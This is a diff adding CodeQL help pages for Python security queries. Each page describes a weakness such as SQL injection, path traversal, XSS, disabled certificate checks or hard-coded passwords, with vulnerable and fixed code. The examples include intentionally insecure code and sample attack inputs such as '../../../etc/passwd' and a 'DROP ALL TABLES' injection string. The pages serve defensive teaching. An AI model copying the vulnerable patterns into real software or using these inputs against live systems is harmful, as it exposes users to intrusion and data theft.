debugging enabled. By visiting `/crash`, it is possible to gain access to the debugger, and run arbitrary code through the interactive debugger. + + +```python +from flask import Flask + +app = Flask(__name__) + +@app.route('/crash') +def main(): + raise Exception() + +app.run(debug=True) + +``` + +## References +* Flask Quickstart Documentation: [Debug Mode](http://flask.pocoo.org/docs/1.0/quickstart/#debug-mode). +* Werkzeug Documentation: [Debugging Applications](http://werkzeug.pocoo.org/docs/0.14/debug/). +* Common Weakness Enumeration: [CWE-215](https://cwe.mitre.org/data/definitions/215.html). +* Common Weakness Enumeration: [CWE-489](https://cwe.mitre.org/data/definitions/489.html). \ No newline at end of file diff --git a/docs/language/query-help/python/HardcodedCredentials.md b/docs/language/query-help/python/HardcodedCredentials.md new file mode 100644 index 00000000000..728dd363a9c --- /dev/null +++ b/docs/language/query-help/python/HardcodedCredentials.md @@ -0,0 +1,65 @@ +# Hard-coded credentials + +``` +ID: py/hardcoded-credentials +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-798/HardcodedCredentials.ql) + +Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. + +Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. + +For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + +For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. + +For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, `hashlib.pbkdf2_hmac`. + + +## Example +The following examples shows different types of inbound and outbound authentication. + +In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be rewritten and redeployed in order to change the password. + +In the second case, the password is compared to a hashed and salted password stored in a configuration file, using `hashlib.pbkdf2_hmac`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. + +In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. + + +```python +import hashlib +import binascii + +def process_request(request): + password = request.GET["password"] + + # BAD: Inbound authentication made by comparison to string literal + if password == "myPa55word": + redirect("login") + + hashed_password = load_from_config('hashed_password', CONFIG_FILE) + salt = load_from_config('salt', CONFIG_FILE) + + #GOOD: Inbound authentication made by comparing to a hash password from a config file. + dk = hashlib.pbkdf2_hmac('sha256', password, salt, 100000) + hashed_input = binascii.hexlify(dk) + if hashed_input == hashed_password: + redirect("login") + + +``` + +## References +* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/python/IncompleteHostnameRegExp.md b/docs/language/query-help/python/IncompleteHostnameRegExp.md new file mode 100644 index 00000000000..541b45e5651 --- /dev/null +++ b/docs/language/query-help/python/IncompleteHostnameRegExp.md @@ -0,0 +1,56 @@ +# Incomplete regular expression for hostnames + +``` +ID: py/incomplete-hostname-regexp +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-020/IncompleteHostnameRegExp.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. + +If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds. + + +## Recommendation +Escape all meta-characters appropriately when constructing regular expressions for security checks, pay special attention to the `.` meta-character. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. + + +```python +from flask import Flask, request, redirect +import re + +app = Flask(__name__) + +UNSAFE_REGEX = re.compile("(www|beta).example.com/") +SAFE_REGEX = re.compile(r"(www|beta)\.example\.com/") + +@app.route('/some/path/bad') +def unsafe(request): + target = request.args.get('target', '') + if UNSAFE_REGEX.match(target): + return redirect(target) + +@app.route('/some/path/good') +def safe(request): + target = request.args.get('target', '') + if SAFE_REGEX.match(target): + return redirect(target) + +``` +The `unsafe` check is easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. + +The `safe` check closes this vulnerability by escaping the `.` so that URLs of the form `wwwXexample.com` are rejected. + + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md b/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md new file mode 100644 index 00000000000..bf6ebcfd3bb --- /dev/null +++ b/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md @@ -0,0 +1,88 @@ +# Incomplete URL substring sanitization + +``` +ID: py/incomplete-url-substring-sanitization +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-020/IncompleteUrlSubstringSanitization.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts. + +However, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location. + +Even if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally. + + +## Recommendation +Parse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain. + + +```python +from flask import Flask, request, redirect +from urllib.parse import urlparse + +app = Flask(__name__) + +# Not safe, as "evil-example.net/example.com" would be accepted + +@app.route('/some/path/bad1') +def unsafe1(request): + target = request.args.get('target', '') + if "example.com" in target: + return redirect(target) + +# Not safe, as "benign-looking-prefix-example.com" would be accepted + +@app.route('/some/path/bad2') +def unsafe2(request): + target = request.args.get('target', '') + if target.endswith("example.com"): + return redirect(target) + + + +#Simplest and safest approach is to use an allowlist + +@app.route('/some/path/good1') +def safe1(request): + allowlist = [ + "example.com/home", + "example.com/login", + ] + target = request.args.get('target', '') + if target in allowlist: + return redirect(target) + +#More complex example allowing sub-domains. + +@app.route('/some/path/good2') +def safe2(request): + target = request.args.get('target', '') + host = urlparse(target).hostname + #Note the '.' preceding example.com + if host and host.endswith(".example.com"): + return redirect(target) + + +``` +The first two examples show unsafe checks that are easily bypassed. In `unsafe1` the attacker can simply add `example.com` anywhere in the url. For example, `http://evil-example.net/example.com`. + +In `unsafe2` the attacker must use a hostname ending in `example.com`, but that is easy to do. For example, `http://benign-looking-prefix-example.com`. + +The second two examples show safe checks. In `safe1`, an allowlist is used. Although fairly inflexible, this is easy to get right and is most likely to be safe. + +In `safe2`, `urlparse` is used to parse the URL, then the hostname is checked to make sure it ends with `.example.com`. + + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureDefaultProtocol.md b/docs/language/query-help/python/InsecureDefaultProtocol.md new file mode 100644 index 00000000000..721d6175cd0 --- /dev/null +++ b/docs/language/query-help/python/InsecureDefaultProtocol.md @@ -0,0 +1,44 @@ +# Default version of SSL/TLS may be insecure + +``` +ID: py/insecure-default-protocol +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/InsecureDefaultProtocol.ql) + +The `ssl` library defaults to an insecure version of SSL/TLS when no specific protocol version is specified. This may leave the connection vulnerable to attack. + + +## Recommendation +Ensure that a modern, strong protocol is used. All versions of SSL, and TLS 1.0 are known to be vulnerable to attacks. Using TLS 1.1 or above is strongly recommended. If no explicit `ssl_version` is specified, the default `PROTOCOL_TLS` is chosen. This protocol is insecure and should not be used. + + +## Example +The following code shows two different ways of setting up a connection using SSL or TLS. They are both potentially insecure because the default version is used. + + +```python +import ssl +import socket + +# Using the deprecated ssl.wrap_socket method +ssl.wrap_socket(socket.socket()) + +# Using SSLContext +context = ssl.SSLContext() + +``` +Both of the cases above should be updated to use a secure protocol instead, for instance by specifying `ssl_version=PROTOCOL_TLSv1_1` as a keyword argument. + +Note that `ssl.wrap_socket` has been deprecated in Python 3.7. A preferred alternative is to use `ssl.SSLContext`, which is supported in Python 2.7.9 and 3.2 and later versions. + + +## References +* Wikipedia: [ Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security). +* Python 3 documentation: [ class ssl.SSLContext](https://docs.python.org/3/library/ssl.html#ssl.SSLContext). +* Python 3 documentation: [ ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureProtocol.md b/docs/language/query-help/python/InsecureProtocol.md new file mode 100644 index 00000000000..2972d701178 --- /dev/null +++ b/docs/language/query-help/python/InsecureProtocol.md @@ -0,0 +1,53 @@ +# Use of insecure SSL/TLS version + +``` +ID: py/insecure-protocol +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/InsecureProtocol.ql) + +Using a broken or weak cryptographic protocol may make a connection vulnerable to interference from an attacker. + + +## Recommendation +Ensure that a modern, strong protocol is used. All versions of SSL, and TLS 1.0 are known to be vulnerable to attacks. Using TLS 1.1 or above is strongly recommended. + + +## Example +The following code shows a variety of ways of setting up a connection using SSL or TLS. They are all insecure because of the version specified. + + +```python +import ssl +import socket + +# Using the deprecated ssl.wrap_socket method +ssl.wrap_socket(socket.socket(), ssl_version=ssl.PROTOCOL_SSLv2) + +# Using SSLContext +context = ssl.SSLContext(ssl_version=ssl.PROTOCOL_SSLv3) + +# Using pyOpenSSL + +from pyOpenSSL import SSL + +context = SSL.Context(SSL.TLSv1_METHOD) + + + +``` +All cases should be updated to use a secure protocol, such as `PROTOCOL_TLSv1_1`. + +Note that `ssl.wrap_socket` has been deprecated in Python 3.7. A preferred alternative is to use `ssl.SSLContext`, which is supported in Python 2.7.9 and 3.2 and later versions. + + +## References +* Wikipedia: [ Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security). +* Python 3 documentation: [ class ssl.SSLContext](https://docs.python.org/3/library/ssl.html#ssl.SSLContext). +* Python 3 documentation: [ ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket). +* pyOpenSSL documentation: [ An interface to the SSL-specific parts of OpenSSL](https://pyopenssl.org/en/stable/api/ssl.html). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureTemporaryFile.md b/docs/language/query-help/python/InsecureTemporaryFile.md new file mode 100644 index 00000000000..d34f4eac039 --- /dev/null +++ b/docs/language/query-help/python/InsecureTemporaryFile.md @@ -0,0 +1,51 @@ +# Insecure temporary file + +``` +ID: py/insecure-temporary-file +Kind: problem +Severity: error +Precision: high +Tags: external/cwe/cwe-377 security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-377/InsecureTemporaryFile.ql) + +Functions that create temporary file names (such as `tempfile.mktemp` and `os.tempnam`) are fundamentally insecure, as they do not ensure exclusive access to a file with the temporary name they return. The file name returned by these functions is guaranteed to be unique on creation but the file must be opened in a separate operation. There is no guarantee that the creation and open operations will happen atomically. This provides an opportunity for an attacker to interfere with the file before it is opened. + +Note that `mktemp` has been deprecated since Python 2.3. + + +## Recommendation +Replace the use of `mktemp` with some of the more secure functions in the `tempfile` module, such as `TemporaryFile`. If the file is intended to be accessed from other processes, consider using the `NamedTemporaryFile` function. + + +## Example +The following piece of code opens a temporary file and writes a set of results to it. Because the file name is created using `mktemp`, another process may access this file before it is opened using `open`. + + +```python +from tempfile import mktemp + +def write_results(results): + filename = mktemp() + with open(filename, "w+") as f: + f.write(results) + print("Results written to", filename) + +``` +By changing the code to use `NamedTemporaryFile` instead, the file is opened immediately. + + +```python +from tempfile import NamedTemporaryFile + +def write_results(results): + with NamedTemporaryFile(mode="w+", delete=False) as f: + f.write(results) + print("Results written to", f.name) + +``` + +## References +* Python Standard Library: [tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp). +* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html). \ No newline at end of file diff --git a/docs/language/query-help/python/Jinja2WithoutEscaping.md b/docs/language/query-help/python/Jinja2WithoutEscaping.md new file mode 100644 index 00000000000..679af831f05 --- /dev/null +++ b/docs/language/query-help/python/Jinja2WithoutEscaping.md @@ -0,0 +1,59 @@ +# Jinja2 templating with autoescape=False + +``` +ID: py/jinja2/autoescape-false +Kind: problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-079 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.ql) + +Cross-site scripting (XSS) attacks can occur if untrusted input is not escaped. This applies to templates as well as code. The `jinja2` templates may be vulnerable to XSS if the environment has `autoescape` set to `False`. Unfortunately, `jinja2` sets `autoescape` to `False` by default. Explicitly setting `autoescape` to `True` when creating an `Environment` object will prevent this. + + +## Recommendation +Avoid setting jinja2 autoescape to False. Jinja2 provides the function `select_autoescape` to make sure that the correct auto-escaping is chosen. For example, it can be used when creating an environment `Environment(autoescape=select_autoescape(['html', 'xml'])` + + +## Example +The following example is a minimal Flask app which shows a safe and an unsafe way to render the given name back to the page. The first view is unsafe as `first_name` is not escaped, leaving the page vulnerable to cross-site scripting attacks. The second view is safe as `first_name` is escaped, so it is not vulnerable to cross-site scripting attacks. + + +```python +from flask import Flask, request, make_response, escape +from jinja2 import Environment, select_autoescape, FileSystemLoader + +app = Flask(__name__) +loader = FileSystemLoader( searchpath="templates/" ) + +unsafe_env = Environment(loader=loader) +safe1_env = Environment(loader=loader, autoescape=True) +safe2_env = Environment(loader=loader, autoescape=select_autoescape()) + +def render_response_from_env(env): + name = request.args.get('name', '') + template = env.get_template('template.html') + return make_response(template.render(name=name)) + +@app.route('/unsafe') +def unsafe(): + return render_response_from_env(unsafe_env) + +@app.route('/safe1') +def safe1(): + return render_response_from_env(safe1_env) + +@app.route('/safe2') +def safe2(): + return render_response_from_env(safe2_env) + + +``` + +## References +* Jinja2: [API](http://jinja.pocoo.org/docs/2.10/api/). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/python/MissingHostKeyValidation.md b/docs/language/query-help/python/MissingHostKeyValidation.md new file mode 100644 index 00000000000..5e7e9cd2d4c --- /dev/null +++ b/docs/language/query-help/python/MissingHostKeyValidation.md @@ -0,0 +1,49 @@ +# Accepting unknown SSH host keys when using Paramiko + +``` +ID: py/paramiko-missing-host-key-validation +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-295 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-295/MissingHostKeyValidation.ql) + +In the Secure Shell (SSH) protocol, host keys are used to verify the identity of remote hosts. Accepting unknown host keys may leave the connection open to man-in-the-middle attacks. + + +## Recommendation +Do not accept unknown host keys. In particular, do not set the default missing host key policy for the Paramiko library to either `AutoAddPolicy` or `WarningPolicy`. Both of these policies continue even when the host key is unknown. The default setting of `RejectPolicy` is secure because it throws an exception when it encounters an unknown host key. + + +## Example +The following example shows two ways of opening an SSH connection to `example.com`. The first function sets the missing host key policy to `AutoAddPolicy`. If the host key verification fails, the client will continue to interact with the server, even though the connection may be compromised. The second function sets the host key policy to `RejectPolicy`, and will throw an exception if the host key verification fails. + + +```python +from paramiko.client import SSHClient, AutoAddPolicy, RejectPolicy + +def unsafe_connect(): + client = SSHClient() + client.set_missing_host_key_policy(AutoAddPolicy) + client.connect("example.com") + + # ... interaction with server + + client.close() + +def safe_connect(): + client = SSHClient() + client.set_missing_host_key_policy(RejectPolicy) + client.connect("example.com") + + # ... interaction with server + + client.close() + +``` + +## References +* Paramiko documentation: [set_missing_host_key_policy](http://docs.paramiko.org/en/2.4/api/client.html?highlight=set_missing_host_key_policy#paramiko.client.SSHClient.set_missing_host_key_policy). +* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/python/PathInjection.md b/docs/language/query-help/python/PathInjection.md new file mode 100644 index 00000000000..779888e6796 --- /dev/null +++ b/docs/language/query-help/python/PathInjection.md @@ -0,0 +1,81 @@ +# Uncontrolled data used in path expression + +``` +ID: py/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/owasp/owasp-a1 external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-022/PathInjection.ql) + +Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + + +## Recommendation +Validate user input before using it to construct a file path, either using an off-the-shelf library function like `werkzeug.utils.secure_filename`, or by performing custom validation. + +Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". +* Use an allowlist of known good patterns. + +## Example +In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name that is an absolute path, such as `"/etc/passwd"`. + +In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../../etc/passwd"` will result in the code reading the file located at `"/server/static/images/../../../etc/passwd"`, which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. + +In the third example, the path used to access the file system is normalized *before* being checked against a known prefix. This ensures that regardless of the user input, the resulting path is safe. + + +```python +import os.path + + +urlpatterns = [ + # Route to user_picture + url(r'^user-pic1$', user_picture1, name='user-picture1'), + url(r'^user-pic2$', user_picture2, name='user-picture2'), + url(r'^user-pic3$', user_picture3, name='user-picture3') +] + + +def user_picture1(request): + """A view that is vulnerable to malicious file access.""" + filename = request.GET.get('p') + # BAD: This could read any file on the file system + data = open(filename, 'rb').read() + return HttpResponse(data) + +def user_picture2(request): + """A view that is vulnerable to malicious file access.""" + base_path = '/server/static/images' + filename = request.GET.get('p') + # BAD: This could still read any file on the file system + data = open(os.path.join(base_path, filename), 'rb').read() + return HttpResponse(data) + +def user_picture3(request): + """A view that is not vulnerable to malicious file access.""" + base_path = '/server/static/images' + filename = request.GET.get('p') + #GOOD -- Verify with normalised version of path + fullpath = os.path.normpath(os.path.join(base_path, filename)) + if not fullpath.startswith(base_path): + raise SecurityException() + data = open(fullpath, 'rb').read() + return HttpResponse(data) + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* npm: [werkzeug.utils.secure_filename](http://werkzeug.pocoo.org/docs/utils/#werkzeug.utils.secure_filename). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/python/ReflectedXss.md b/docs/language/query-help/python/ReflectedXss.md new file mode 100644 index 00000000000..e93e6cc8f9c --- /dev/null +++ b/docs/language/query-help/python/ReflectedXss.md @@ -0,0 +1,46 @@ +# Reflected server-side cross-site scripting + +``` +ID: py/reflective-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-079/ReflectedXss.ql) + +Directly writing user input (for example, an HTTP request parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + + +## Recommendation +To guard against cross-site scripting, consider escaping the input before writing user input to the page. The standard library provides escaping functions: `html.escape()` for Python 3.2 upwards or `cgi.escape()` older versions of Python. Most frameworks also provide their own escaping functions, for example `flask.escape()`. + + +## Example +The following example is a minimal flask app which shows a safe and unsafe way to render the given name back to the page. The first view is unsafe as `first_name` is not escaped, leaving the page vulnerable to cross-site scripting attacks. The second view is safe as `first_name` is escaped, so it is not vulnerable to cross-site scripting attacks. + + +```python +from flask import Flask, request, make_response, escape + +app = Flask(__name__) + +@app.route('/unsafe') +def unsafe(): + first_name = request.args.get('name', '') + return make_response("Your name is " + first_name) + +@app.route('/safe') +def safe(): + first_name = request.args.get('name', '') + return make_response("Your name is " + escape(first_name)) + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Python Library Reference: [html.escape()](https://docs.python.org/3/library/html.html#html.escape). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/python/RequestWithoutValidation.md b/docs/language/query-help/python/RequestWithoutValidation.md new file mode 100644 index 00000000000..b43b8c1d784 --- /dev/null +++ b/docs/language/query-help/python/RequestWithoutValidation.md @@ -0,0 +1,49 @@ +# Request without certificate validation + +``` +ID: py/request-without-cert-validation +Kind: problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-295 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-295/RequestWithoutValidation.ql) + +Encryption is key to the security of most, if not all, online communication. Using Transport Layer Security (TLS) can ensure that communication cannot be interrupted by an interloper. For this reason, is is unwise to disable the verification that TLS provides. Functions in the `requests` module provide verification by default, and it is only when explicitly turned off using `verify=False` that no verification occurs. + + +## Recommendation +Never use `verify=False` when making a request. + + +## Example +The example shows two unsafe calls to [semmle.com](https://semmle.com), followed by various safe alternatives. + + +```python +import requests + +#Unsafe requests + +requests.get('https://semmle.com', verify=False) # UNSAFE +requests.get('https://semmle.com', verify=0) # UNSAFE + +#Various safe options + +requests.get('https://semmle.com', verify=True) # Explicitly safe +requests.get('https://semmle.com', verify="/path/to/cert/") +requests.get('https://semmle.com') # The default is to verify. + +#Wrapper to ensure safety + +def make_safe_request(url, verify_cert): + if not verify_cert: + raise Exception("Trying to make unsafe request") + return requests.get(url, verify_cert) + +``` + +## References +* Python requests documentation: [SSL Cert Verification](http://docs.python-requests.org/en/master/user/advanced/#ssl-cert-verification). +* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/python/SqlInjection.md b/docs/language/query-help/python/SqlInjection.md new file mode 100644 index 00000000000..f51e97e3f5a --- /dev/null +++ b/docs/language/query-help/python/SqlInjection.md @@ -0,0 +1,56 @@ +# SQL query built from user-controlled sources + +``` +ID: py/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 external/owasp/owasp-a1 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-089/SqlInjection.ql) + +If a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a user may be able to run malicious database queries. + + +## Recommendation +Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. + + +## Example +In the following snippet, a user is fetched from the database using three different queries. + +In the first case, the query string is built by directly using string formatting from a user-supplied request parameter. The parameter may include quote characters, so this code is vulnerable to a SQL injection attack. + +In the second case, the user-supplied request attribute is passed to the database using query parameters. The database connector library will take care of escaping and inserting quotes as needed. + +In the third case, the placeholder in the SQL string has been manually quoted. Since most databaseconnector libraries will insert their own quotes, doing so yourself will make the code vulnerable to SQL injection attacks. In this example, if `username` was `; DROP ALL TABLES -- `, the final SQL query would be `SELECT * FROM users WHERE username = ''; DROP ALL TABLES -- ''` + + +```python +from django.conf.urls import url +from django.db import connection + + +def show_user(request, username): + with connection.cursor() as cursor: + # BAD -- Using string formatting + cursor.execute("SELECT * FROM users WHERE username = '%s'" % username) + user = cursor.fetchone() + + # GOOD -- Using parameters + cursor.execute("SELECT * FROM users WHERE username = %s", username) + user = cursor.fetchone() + + # BAD -- Manually quoting placeholder (%s) + cursor.execute("SELECT * FROM users WHERE username = '%s'", username) + user = cursor.fetchone() + +urlpatterns = [url(r'^users/(?P[^/]+)$', show_user)] + +``` + +## References +* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). +* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/python/StackTraceExposure.md b/docs/language/query-help/python/StackTraceExposure.md new file mode 100644 index 00000000000..870358de269 --- /dev/null +++ b/docs/language/query-help/python/StackTraceExposure.md @@ -0,0 +1,58 @@ +# Information exposure through an exception + +``` +ID: py/stack-trace-exposure +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-209 external/cwe/cwe-497 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-209/StackTraceExposure.ql) + +Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. + +Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. + + +## Recommendation +Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. + + +## Example +In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user by returning it from the function. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server, and a generic error message is displayed to the user. That way, the developers can still access and use the error log, but remote users will not see the information. + + +```python +from flask import Flask +app = Flask(__name__) + + +import traceback + +def do_computation(): + raise Exception("Secret info") + +# BAD +@app.route('/bad') +def server_bad(): + try: + do_computation() + except Exception as e: + return traceback.format_exc() + +# GOOD +@app.route('/good') +def server_good(): + try: + do_computation() + except Exception as e: + log(traceback.format_exc()) + return "An internal error has occurred!" + +``` + +## References +* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). +* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). +* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/python/TarSlip.md b/docs/language/query-help/python/TarSlip.md new file mode 100644 index 00000000000..49302e266e7 --- /dev/null +++ b/docs/language/query-help/python/TarSlip.md @@ -0,0 +1,62 @@ +# Arbitrary file write during tarfile extraction + +``` +ID: py/tarslip +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-022/TarSlip.ql) + +Extracting files from a malicious tar archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Tar archives contain archive entries representing each 